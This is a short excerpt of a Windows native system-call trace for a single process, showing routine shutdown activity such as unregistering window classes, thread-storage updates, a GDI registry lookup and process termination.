 02487  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02488  1356   NtUserGetAtomName  (49180, 1243888, ... ) == 0x8
 02489  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02490  1356   NtUserGetAtomName  (49182, 1243888, ... ) == 0x9
 02491  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02492  1356   NtUserGetAtomName  (49179, 1243880, ... ) == 0x9
 02493  1356   NtUserUnregisterClass  (1243940, 2000486400, 1243928, ... ) == 0x1
 02494  1356   NtUserGetAtomName  (49256, 1243888, ... ) == 0x7
 02495  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02496  1356   NtUserGetAtomName  (49258, 1243888, ... ) == 0xd
 02497  1356   NtUserUnregisterClass  (1243948, 2000486400, 1243936, ... ) == 0x1
 02498  1356   NtUnmapViewOfSection  (-1, 0x850000, ... ) == 0x0
 02499  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x7,}, 4, ... ) == 0x0
 02500  1356   NtUserQueryWindow  (65670, 0, ... ) == 0x6b8
 02501  1356   NtUserQueryWindow  (65670, 1, ... ) == 0x6bc
 02502  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x3,}, 4, ... ) == 0x0
 02503  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x4,}, 4, ... ) == 0x0
 02504  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x5,}, 4, ... ) == 0x0
 02505  1356   NtClose  (52, ... ) == 0x0
 02506  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x2,}, 4, ... ) == 0x0
 02507  1356   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 02508  1356   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 02509  1356   NtQueryVirtualMemory  (-1, 0x77c2807c, Basic, 28, ... {BaseAddress=0x77c28000,AllocationBase=0x77c10000,AllocationProtect=0x80,RegionSize=0x35000,State=0x1000,Protect=0x20,Type=0x1000000,}, 28, ) == 0x0
 02510  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize"}, ... 52, ) }, ... 52, ) == 0x0
 02511  1356   NtQueryValueKey  (52,  (52, "DisableMetaFiles", Partial, 20, ... ) , Partial, 20, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 02512  1356   NtClose  (52, ... ) == 0x0
 02513  1356   NtClose  (44, ... ) == 0x0
 02514  1356   NtFreeVirtualMemory  (-1, (0x8b0000), 4096, 32768, ... (0x8b0000), 4096, ) == 0x0
 02515  1356   NtClose  (84, ... ) == 0x0
 02516  1356   NtRequestWaitReplyPort  (24, {20, 48, new_msg, 0, 1244624, -1, 0, 0}  (24, {20, 48, new_msg, 0, 1244624, -1, 0, 0} "\0\0\0\0\3\0\1\0\17\0\0\0\354\375\22\0\0\0\0\0" ... {20, 48, reply, 0, 220, 1356, 75767, 0} "\0\0\0\0\3\0\1\0\0\0\0\0\354\375\22\0\0\0\0\0" )  ... {20, 48, reply, 0, 220, 1356, 75767, 0}  (24, {20, 48, new_msg, 0, 1244624, -1, 0, 0} "\0\0\0\0\3\0\1\0\17\0\0\0\354\375\22\0\0\0\0\0" ... {20, 48, reply, 0, 220, 1356, 75767, 0} "\0\0\0\0\3\0\1\0\0\0\0\0\354\375\22\0\0\0\0\0" )  ) == 0x0
 02517  1356   NtTerminateProcess  (-1, 0, ...